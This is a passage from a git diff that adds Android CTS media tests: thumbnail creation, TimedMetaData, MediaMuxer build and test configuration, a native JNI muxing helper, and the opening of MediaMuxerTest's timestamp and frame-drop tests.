+        deleteContents(mDir);
+    }
+
+    @Test
+    public void testCreateAudioThumbnail() throws Exception {
+        final File file = stageFile("testmp3.mp3", new File(mDir, "cts.mp3"));
+        for (Size size : TEST_SIZES) {
+            assertSaneThumbnail(size, ThumbnailUtils.createAudioThumbnail(file, size, null));
+        }
+    }
+
+    @Test
+    public void testCreateAudioThumbnail_SeparateFile() throws Exception {
+        final File file = stageFile("monotestmp3.mp3", new File(mDir, "audio.mp3"));
+        stageFile("volantis.jpg", new File(mDir, "AlbumArt.jpg"));
+
+        for (Size size : TEST_SIZES) {
+            assertSaneThumbnail(size, ThumbnailUtils.createAudioThumbnail(file, size, null));
+        }
+    }
+
+    @Test
+    public void testCreateAudioThumbnail_None() throws Exception {
+        final File file = stageFile("monotestmp3.mp3", new File(mDir, "cts.mp3"));
+        try {
+            ThumbnailUtils.createAudioThumbnail(file, TEST_SIZES[0], null);
+            fail("Somehow made a thumbnail out of nothing?");
+        } catch (IOException expected) {
+        }
+    }
+
+    @Test
+    public void testCreateImageThumbnail() throws Exception {
+        final File file = stageFile("volantis.jpg", new File(mDir, "cts.jpg"));
+        for (Size size : TEST_SIZES) {
+            assertSaneThumbnail(size, ThumbnailUtils.createImageThumbnail(file, size, null));
+        }
+    }
+
+    private static void assertOrientationForThumbnail(Bitmap bitmap) {
+        // All callers are expected to pass a Bitmap with an image of a black cup in the middle
+        // (left-to-right) upper portion, on a mostly non-black background. They use different
+        // EXIF orientations to achieve the same final image, and this verifies that the EXIF
+        // orientation was applied properly.
+        assertColorMostlyInRange(bitmap.getPixel(bitmap.getWidth() / 2, bitmap.getHeight() / 3),
+                0xFF202020 /* upperBound */, Color.BLACK);
+    }
+
+    @Test
+    @Parameters(method = "getSampleWithThumbnailForCreateImageThumbnail")
+    public void testCreateImageThumbnail_sampleWithThumbnail(final String res) throws Exception {
+        final File file = stageFile(res, new File(mDir, "cts.jpg"));
+        final Bitmap bitmap = ThumbnailUtils.createImageThumbnail(file, TEST_SIZES[0], null);
+
+        assertOrientationForThumbnail(bitmap);
+    }
+
+    @Test
+    @Parameters(method = "getStrippedSampleForCreateImageThumbnail")
+    public void testCreateImageThumbnail_strippedSample(final String res) throws Exception {
+        final File file = stageFile(res, new File(mDir, "cts.jpg"));
+        final Bitmap bitmap = ThumbnailUtils.createImageThumbnail(file, TEST_SIZES[0], null);
+
+        assertOrientationForThumbnail(bitmap);
+    }
+
+    @Test
+    @Parameters(method = "getHEICSampleForCreateImageThumbnail")
+    public void testCreateImageThumbnail_HEICSample(final String res) throws Exception {
+        if (!MediaUtils.hasDecoder(MIMETYPE_VIDEO_HEVC)) {
+            MediaUtils.skipTest("no video decoders for resource");
+            return;
+        }
+
+        final File file = stageFile(res, new File(mDir, "cts.heic"));
+        final Bitmap bitmap = ThumbnailUtils.createImageThumbnail(file, TEST_SIZES[0], null);
+
+        assertOrientationForThumbnail(bitmap);
+    }
+
+    @Test
+    public void testCreateImageThumbnailAvif() throws Exception {
+        if (!MediaUtils.check(mIsAtLeastS, "test needs Android 12")) return;
+        if (!MediaUtils.canDecodeVideo("AV1", 1920, 1080, 30)) {
+            MediaUtils.skipTest("No AV1 codec for 1080p");
+            return;
+        }
+        final File file = stageFile("sample.avif", new File(mDir, "cts.avif"));
+
+        for (Size size : TEST_SIZES) {
+            assertSaneThumbnail(size, ThumbnailUtils.createImageThumbnail(file, size, null));
+        }
+    }
+
+    @Test
+    public void testCreateVideoThumbnail() throws Exception {
+        final File file = stageFile(
+                "bbb_s1_720x480_mp4_h264_mp3_2mbps_30fps_aac_lc_5ch_320kbps_48000hz.mp4",
+                new File(mDir, "cts.mp4"));
+        for (Size size : TEST_SIZES) {
+            assertSaneThumbnail(size, ThumbnailUtils.createVideoThumbnail(file, size, null));
+        }
+    }
+
+    private static File stageFile(final String res, File file) throws IOException {
+        final String mInpPrefix = WorkDir.getMediaDirString();
+        Preconditions.assertTestFileExists(mInpPrefix + res);
+        try (InputStream source = new FileInputStream(mInpPrefix + res);
+                OutputStream target = new FileOutputStream(file)) {
+            android.os.FileUtils.copy(source, target);
+        }
+        return file;
+    }
+
+    private static void deleteContents(File dir) {
+        File[] files = dir.listFiles();
+        if (files != null) {
+            for (File file : files) {
+                if (file.isDirectory()) {
+                    deleteContents(file);
+                }
+                file.delete();
+            }
+        }
+    }
+
+    private static void assertSaneThumbnail(Size expected, Bitmap actualBitmap) {
+        final Size actual = new Size(actualBitmap.getWidth(), actualBitmap.getHeight());
+        final int maxWidth = (expected.getWidth() * 3) / 2;
+        final int maxHeight = (expected.getHeight() * 3) / 2;
+        if ((actual.getWidth() > maxWidth) || (actual.getHeight() > maxHeight)) {
+            fail("Actual " + actual + " differs too much from expected " + expected);
+        }
+    }
+
+    private static void assertColorMostlyInRange(@ColorInt int actual, @ColorInt int upperBound,
+            @ColorInt int lowerBound) {
+        assertTrue(Color.alpha(lowerBound) <= Color.alpha(actual)
+                && Color.alpha(actual) <= Color.alpha(upperBound));
+        assertTrue(Color.red(lowerBound) <= Color.red(actual)
+                && Color.red(actual) <= Color.red(upperBound));
+        assertTrue(Color.green(lowerBound) <= Color.green(actual)
+                && Color.green(actual) <= Color.green(upperBound));
+        assertTrue(Color.blue(lowerBound) <= Color.blue(actual)
+                && Color.blue(actual) <= Color.blue(upperBound));
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/TimedMetaDataTest.java b/tests/tests/media/misc/src/android/media/misc/cts/TimedMetaDataTest.java
new file mode 100644
index 0000000..a14f933
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/TimedMetaDataTest.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.media.TimedMetaData;
+import android.media.cts.NonMediaMainlineTest;
+import android.test.AndroidTestCase;
+
+import java.nio.charset.StandardCharsets;
+
+/**
+ * Tests for TimedMetaData.
+ */
+@NonMediaMainlineTest
+public class TimedMetaDataTest extends AndroidTestCase {
+    private static final String RAW_METADATA = "RAW_METADATA";
+
+    public void testTimedMetaData() {
+        TimedMetaData metadata = new TimedMetaData(1000, RAW_METADATA.getBytes());
+        assertEquals(1000, metadata.getTimestamp());
+        assertEquals(RAW_METADATA, new String(metadata.getMetaData(), StandardCharsets.UTF_8));
+    }
+
+    public void testTimedMetaDataNullMetaData() {
+        try {
+            TimedMetaData metadata = new TimedMetaData(0, null);
+        } catch (IllegalArgumentException e) {
+            // Expected
+            return;
+        }
+        fail();
+    }
+}
diff --git a/tests/tests/media/misc/src/android/media/misc/cts/WorkDir.java b/tests/tests/media/misc/src/android/media/misc/cts/WorkDir.java
new file mode 100644
index 0000000..0c39229
--- /dev/null
+++ b/tests/tests/media/misc/src/android/media/misc/cts/WorkDir.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.misc.cts;
+
+import android.media.cts.WorkDirBase;
+
+class WorkDir extends WorkDirBase {
+    public static final String getMediaDirString() {
+        return getMediaDirString("CtsMediaMiscTestCases-1.0");
+    }
+}
diff --git a/tests/tests/media/muxer/Android.bp b/tests/tests/media/muxer/Android.bp
new file mode 100644
index 0000000..3eb38a6
--- /dev/null
+++ b/tests/tests/media/muxer/Android.bp
@@ -0,0 +1,79 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    // See: http://go/android-license-faq
+    default_applicable_licenses: ["cts_tests_tests_media_license"],
+}
+
+cc_test_library {
+    name: "libctsmediamuxertest_jni",
+    srcs: [
+        "jni/native_muxer_jni.cpp",
+    ],
+    shared_libs: [
+        "liblog",
+        "libmediandk",
+    ],
+    header_libs: ["liblog_headers"],
+    stl: "libc++_static",
+    cflags: [
+        "-Werror",
+        "-Wall",
+    ],
+    gtest: false,
+    // this test suite will run on sdk 29 as part of MTS, make sure it's compatible
+    // (revisit if/when we add features to this library that require newer sdk.
+    sdk_version: "29",
+}
+
+android_test {
+    name: "CtsMediaMuxerTestCases",
+    defaults: ["cts_defaults"],
+    // include both the 32 and 64 bit versions
+    compile_multilib: "both",
+    static_libs: [
+        "ctstestrunner-axt",
+        "cts-media-common",
+    ],
+    jni_libs: [
+        "libctsmediamuxertest_jni",
+    ],
+    // do not compress media files
+    aaptflags: [
+        "-0 .vp9",
+        "-0 .ts",
+        "-0 .heic",
+        "-0 .trp",
+        "-0 .ota",
+        "-0 .mxmf",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    platform_apis: true,
+    jni_uses_sdk_apis: true,
+    libs: [
+        "android.test.base",
+        "android.test.runner",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts-media",
+    ],
+    host_required: ["cts-dynamic-config"],
+    min_sdk_version: "29",
+    target_sdk_version: "31",
+}
diff --git a/tests/tests/media/muxer/AndroidManifest.xml b/tests/tests/media/muxer/AndroidManifest.xml
new file mode 100644
index 0000000..f914229
--- /dev/null
+++ b/tests/tests/media/muxer/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.media.muxer.cts"
+     android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"/>
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+
+    <application android:requestLegacyExternalStorage="true"
+         android:largeHeap="true">
+        <uses-library android:name="android.test.runner"/>
+
+    </application>
+
+    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="31"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="android.media.muxer.cts"
+         android:label="CTS tests of android MediaMuxer">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
+    </instrumentation>
+
+</manifest>
diff --git a/tests/tests/media/muxer/AndroidTest.xml b/tests/tests/media/muxer/AndroidTest.xml
new file mode 100644
index 0000000..0c361e9
--- /dev/null
+++ b/tests/tests/media/muxer/AndroidTest.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Media muxer test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="media" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.DeviceSetup">
+        <option name="force-skip-system-props" value="true" /> <!-- avoid restarting device -->
+        <option name="set-test-harness" value="false" />
+        <option name="screen-always-on" value="on" />
+        <option name="screen-adaptive-brightness" value="off" />
+        <option name="disable-audio" value="false"/>
+        <option name="screen-saver" value="off"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="host" />
+        <option name="config-filename" value="CtsMediaMuxerTestCases" />
+        <option name="dynamic-config-name" value="CtsMediaMuxerTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaMuxerTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
+        <option name="push-all" value="true" />
+        <option name="media-folder-name" value="CtsMediaMuxerTestCases-1.1" />
+        <option name="dynamic-config-module" value="CtsMediaMuxerTestCases" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsMediaMuxerTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.media.muxer.cts" />
+        <!-- setup can be expensive so limit the number of shards -->
+        <option name="ajur-max-shard" value="5" />
+        <!-- test-timeout unit is ms, value = 10 min -->
+        <option name="test-timeout" value="600000" />
+        <option name="runtime-hint" value="1h" />
+        <option name="exclude-annotation" value="org.junit.Ignore" />
+        <option name="hidden-api-checks" value="false" />
+        <!-- disable isolated storage so tests can access dynamic config stored in /sdcard. -->
+        <option name="isolated-storage" value="false" />
+    </test>
+</configuration>
diff --git a/tests/tests/media/muxer/DynamicConfig.xml b/tests/tests/media/muxer/DynamicConfig.xml
new file mode 100644
index 0000000..6f491eb
--- /dev/null
+++ b/tests/tests/media/muxer/DynamicConfig.xml
@@ -0,0 +1,20 @@
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<dynamicConfig>
+    <entry key="media_files_url">
+    <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/muxer/CtsMediaMuxerTestCases-1.1.zip</value>
+    </entry>
+</dynamicConfig>
diff --git a/tests/tests/media/muxer/OWNERS b/tests/tests/media/muxer/OWNERS
new file mode 100644
index 0000000..e8a30362
--- /dev/null
+++ b/tests/tests/media/muxer/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 1119246
+# go/android-fwk-media-solutions for info on areas of ownership.
+include platform/frameworks/av:/media/janitors/media_solutions_OWNERS
diff --git a/tests/tests/media/muxer/copy_media.sh b/tests/tests/media/muxer/copy_media.sh
new file mode 100755
index 0000000..a9b0f1c
--- /dev/null
+++ b/tests/tests/media/muxer/copy_media.sh
@@ -0,0 +1,20 @@
+#!/bin/bash
+# Copyright (C) 2022 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+## script to install media test files manually
+[ -z "$MEDIA_ROOT_DIR" ] && MEDIA_ROOT_DIR=$(dirname $0)/..
+source $MEDIA_ROOT_DIR/common/copy_media_utils.sh
+get_adb_options "$@"
+copy_media "muxer" "CtsMediaMuxerTestCases-1.1"
diff --git a/tests/tests/media/muxer/jni/native_muxer_jni.cpp b/tests/tests/media/muxer/jni/native_muxer_jni.cpp
new file mode 100644
index 0000000..b45dba1
--- /dev/null
+++ b/tests/tests/media/muxer/jni/native_muxer_jni.cpp
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+//#define LOG_NDEBUG 0
+#define LOG_TAG "NativeMuxer"
+#include <log/log.h>
+#include <assert.h>
+#include <jni.h>
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+#include "media/NdkMediaExtractor.h"
+#include "media/NdkMediaMuxer.h"
+
+extern "C" jboolean Java_android_media_muxer_cts_NativeMuxerTest_testMuxerNative(
+        JNIEnv */*env*/, jclass /*clazz*/, int infd, jlong inoffset, jlong insize, int outfd,
+        jboolean webm) {
+    AMediaMuxer *muxer = AMediaMuxer_new(outfd,
+            webm ? AMEDIAMUXER_OUTPUT_FORMAT_WEBM : AMEDIAMUXER_OUTPUT_FORMAT_MPEG_4);
+    AMediaExtractor *ex = AMediaExtractor_new();
+    int err = AMediaExtractor_setDataSourceFd(ex, infd, inoffset, insize);
+    if (err != 0) {
+        ALOGE("setDataSource error: %d", err);
+        return false;
+    }
+    int numtracks = AMediaExtractor_getTrackCount(ex);
+    ALOGI("input tracks: %d", numtracks);
+    for (int i = 0; i < numtracks; i++) {
+        AMediaFormat *format = AMediaExtractor_getTrackFormat(ex, i);
+        const char *s = AMediaFormat_toString(format);
+        ALOGI("track %d format: %s", i, s);
+        const char *mime;
+        if (!AMediaFormat_getString(format, AMEDIAFORMAT_KEY_MIME, &mime)) {
+            ALOGE("no mime type");
+            return false;
+        } else if (!strncmp(mime, "audio/", 6) || !strncmp(mime, "video/", 6)) {
+            ssize_t tidx = AMediaMuxer_addTrack(muxer, format);
+            ALOGI("track %d -> %zd format %s", i, tidx, s);
+            AMediaExtractor_selectTrack(ex, i);
+        } else {
+            ALOGE("expected audio or video mime type, got %s", mime);
+            return false;
+        }
+        AMediaFormat_delete(format);
+        AMediaExtractor_selectTrack(ex, i);
+    }
+    AMediaMuxer_start(muxer);
+    int bufsize = 1024*1024;
+    uint8_t *buf = new uint8_t[bufsize];
+    AMediaCodecBufferInfo info;
+    while(true) {
+        int n = AMediaExtractor_readSampleData(ex, buf, bufsize);
+        if (n < 0) {
+            break;
+        }
+        info.offset = 0;
+        info.size = n;
+        info.presentationTimeUs = AMediaExtractor_getSampleTime(ex);
+        info.flags = AMediaExtractor_getSampleFlags(ex);
+        size_t idx = (size_t) AMediaExtractor_getSampleTrackIndex(ex);
+        AMediaMuxer_writeSampleData(muxer, idx, buf, &info);
+        AMediaExtractor_advance(ex);
+    }
+    AMediaExtractor_delete(ex);
+    AMediaMuxer_stop(muxer);
+    AMediaMuxer_delete(muxer);
+    return true;
+}
diff --git a/tests/tests/media/muxer/src/android/media/muxer/cts/MediaMuxerTest.java b/tests/tests/media/muxer/src/android/media/muxer/cts/MediaMuxerTest.java
new file mode 100644
index 0000000..1fe887b
--- /dev/null
+++ b/tests/tests/media/muxer/src/android/media/muxer/cts/MediaMuxerTest.java
@@ -0,0 +1,1248 @@
+/*
+ * Copyright (C) 2013 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.muxer.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+
+import android.content.Context;
+import android.content.res.AssetFileDescriptor;
+import android.media.MediaCodec.BufferInfo;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.media.MediaMetadataRetriever;
+import android.media.MediaMuxer;
+import android.media.cts.Preconditions;
+import android.os.Build;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Vector;
+import java.util.concurrent.ExecutionException;
+import java.util.function.Function;
+import java.util.stream.IntStream;
+
+@AppModeFull(reason = "No interaction with system server")
+public class MediaMuxerTest extends AndroidTestCase {
+    private static final String TAG = "MediaMuxerTest";
+    private static final boolean VERBOSE = false;
+    private static final int MAX_SAMPLE_SIZE = 1024 * 1024;
+    private static final float LATITUDE = 0.0000f;
+    private static final float LONGITUDE  = -180.0f;
+    private static final float BAD_LATITUDE = 91.0f;
+    private static final float BAD_LONGITUDE = -181.0f;
+    private static final float TOLERANCE = 0.0002f;
+    private static final long OFFSET_TIME_US = 29 * 60 * 1000000L; // 29 minutes
+    private static final String MEDIA_DIR = WorkDir.getMediaDirString();
+
+    private final boolean mAndroid11 = Build.VERSION.SDK_INT >= Build.VERSION_CODES.R;
+
+    @Override
+    public void setContext(Context context) {
+        super.setContext(context);
+    }
+
+    protected AssetFileDescriptor getAssetFileDescriptorFor(final String res)
+            throws FileNotFoundException {
+        Preconditions.assertTestFileExists(MEDIA_DIR + res);
+        File inpFile = new File(MEDIA_DIR + res);
+        ParcelFileDescriptor parcelFD =
+                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
+        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
+    }
+
+    public void testWebmOutput() throws Exception {
+        final String source =
+                "video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm";
+        String outputFilePath = File.createTempFile("testWebmOutput", ".webm")
+                .getAbsolutePath();
+        cloneAndVerify(source, outputFilePath, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM);
+    }
+
+    /**
+     * Test: make sure the muxer handles dovi profile 8.4 video track only file correctly.
+     */
+    public void testDolbyVisionVideoOnlyP8() throws Exception {
+        final String source = "video_dovi_1920x1080_60fps_dvhe_08_04.mp4";
+        String outputFilePath = File.createTempFile("MediaMuxerTest_dolbyvisionP8videoOnly", ".mp4")
+                .getAbsolutePath();
+        try {
+            cloneAndVerify(source, outputFilePath, 2 /* expectedTrackCount */, 180 /* degrees */,
+                    MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4,
+                    MediaMuxerTest::filterOutNonDolbyVisionFormat);
+        } finally {
+            new File(outputFilePath).delete();
+        }
+    }
+
+    /**
+     * Test: make sure the muxer handles dovi profile 9.2 video track only file correctly.
+     */
+    public void testDolbyVisionVideoOnlyP9() throws Exception {
+        final String source = "video_dovi_1920x1080_60fps_dvav_09_02.mp4";
+        String outputFilePath = File.createTempFile("MediaMuxerTest_dolbyvisionP9videoOnly", ".mp4")
+                .getAbsolutePath();
+        try {
+            cloneAndVerify(source, outputFilePath, 2 /* expectedTrackCount */, 180 /* degrees */,
+                    MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4,
+                    MediaMuxerTest::filterOutNonDolbyVisionFormat);
+        } finally {
+            new File(outputFilePath).delete();
+        }
+    }
+
+    private static MediaFormat filterOutNonDolbyVisionFormat(MediaFormat format) {
+        String mime = format.getString(MediaFormat.KEY_MIME);
+        return mime.equals(MediaFormat.MIMETYPE_VIDEO_DOLBY_VISION) ? format : null;
+    }
+
+    /**
+     * Test: makes sure if audio and video muxing using MPEG4Writer works well when there are frame
+     * drops as in b/63590381 and b/64949961 while B Frames encoding is enabled.
+     */
+    public void testSimulateAudioBVideoFramesDropIssues() throws Exception {
+        final String source = "video_h264_main_b_frames.mp4";
+        String outputFilePath = File.createTempFile(
+            "MediaMuxerTest_testSimulateAudioBVideoFramesDropIssues", ".mp4").getAbsolutePath();
+        try {
+            simulateVideoFramesDropIssuesAndMux(source, outputFilePath, 2 /* track index */,
+                MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
+            verifyAFewSamplesTimestamp(source, outputFilePath);
+            verifySamplesMatch(source, outputFilePath, 66667 /* sample around 0 sec */, 0);
+            verifySamplesMatch(
+                    source, outputFilePath, 8033333 /*  sample around 8 sec */, OFFSET_TIME_US);
+        } finally {
+            new File(outputFilePath).delete();
+        }
+    }
+
+    /**
+     * Test: makes sure muxing works well when video with B Frames are muxed using MPEG4Writer
+     * and a few frames drop.
+     */
+    public void testTimestampsBVideoOnlyFramesDropOnce() throws Exception {
+        final String source = "video_480x360_mp4_h264_bframes_495kbps_30fps_editlist.mp4";
+        String outputFilePath = File.createTempFile(
+            "MediaMuxerTest_testTimestampsBVideoOnlyFramesDropOnce", ".mp4").getAbsolutePath();
+        try {
+            HashSet<Integer> samplesDropSet = new HashSet<Integer>();
+            // Drop frames from sample index 56 to 76, I frame at 56.
+            IntStream.rangeClosed(56, 76).forEach(samplesDropSet::add);
+            // No start offsets for any track.
+            cloneMediaWithSamplesDropAndStartOffsets(source, outputFilePath,
+                MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, samplesDropSet, null);
+            verifyTSWithSamplesDropAndStartOffset(
+                    source, true /* has B frames */, outputFilePath, samplesDropSet, null);
+        } finally {
+            new File(outputFilePath).delete();
+        }
+    }
+
+    /**
+     * Test: makes sure if video muxing while framedrops occurs twice using MPEG4Writer
+     * works with B Frames.
+     */
+    public void testTimestampsBVideoOnlyFramesDropTwice() throws Exception {
+        final String source = "video_480x360_mp4_h264_bframes_495kbps_30fps_editlist.mp4";
+        String outputFilePath = File.createTempFile(
+            "MediaMuxerTest_testTimestampsBVideoOnlyFramesDropTwice", ".mp4").getAbsolutePath();
+        try {
+            HashSet<Integer> samplesDropSet = new HashSet<Integer>();
+            // Drop frames with sample index 57 to 67, P frame at 57.
+            IntStream.rangeClosed(57, 67).forEach(samplesDropSet::add);
+            // Drop frames with sample index 173 to 200, B frame at 173.
+            IntStream.rangeClosed(173, 200).forEach(samplesDropSet::add);
+            // No start offsets for any track.
+            cloneMediaWithSamplesDropAndStartOffsets(source, outputFilePath,
+                MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, samplesDropSet, null);
+            verifyTSWithSamplesDropAndStartOffset(
+                    source, true /* has B frames */, outputFilePath, samplesDropSet, null);
+        } finally {
+            new File(outputFilePath).delete();
+        }
+    }
+
+    /**
+     * Test: makes sure if audio/video muxing while framedrops once using MPEG4Writer
+     * works with B Frames.
+     */
+    public void testTimestampsAudioBVideoFramesDropOnce() throws Exception {
+        final String source = "video_h264_main_b_frames.mp4";
+        String outputFilePath = File.createTempFile(
+            "MediaMuxerTest_testTimestampsAudioBVideoFramesDropOnce", ".mp4").getAbsolutePath();
+        try {
+            HashSet<Integer> samplesDropSet = new HashSet<Integer>();
+            // Drop frames from sample index 56 to 76, I frame at 56.
+            IntStream.rangeClosed(56, 76).forEach(samplesDropSet::add);
+            // No start offsets for any track.
+            cloneMediaWithSamplesDropAndStartOffsets(source, outputFilePath,
+                MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, samplesDropSet, null);
+            verifyTSWithSamplesDropAndStartOffset(
+                    source, true /* has B frames */, outputFilePath, samplesDropSet, null);
+        } finally {
+            new File(outputFilePath).delete();
+        }
+    }
+
+    /**
+     * Test: makes sure if audio/video muxing while framedrops twice using MPEG4Writer
+     * works with B Frames.
+     */
+    public void testTimestampsAudioBVideoFramesDropTwice() throws Exception {
+        final String source = "video_h264_main_b_frames.mp4";
+        String outputFilePath = File.createTempFile(
+            "MediaMuxerTest_testTimestampsAudioBVideoFramesDropTwice", ".mp4").getAbsolutePath();
+        try {
+            HashSet<Integer> samplesDropSet = new HashSet<Integer>();
+            // Drop frames with sample index 57 to 67, P frame at 57.
+            IntStream.rangeClosed(57, 67).forEach(samplesDropSet::add);
+            // Drop frames with sample index 173 to 200, B frame at 173.
+            IntStream.rangeClosed(173, 200).forEach(samplesDropSet::add);
+            // No start offsets for any track.
+            cloneMediaWithSamplesDropAndStartOffsets(source, outputFilePath,
+                MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, samplesDropSet, null);
+            verifyTSWithSamplesDropAndStartOffset(
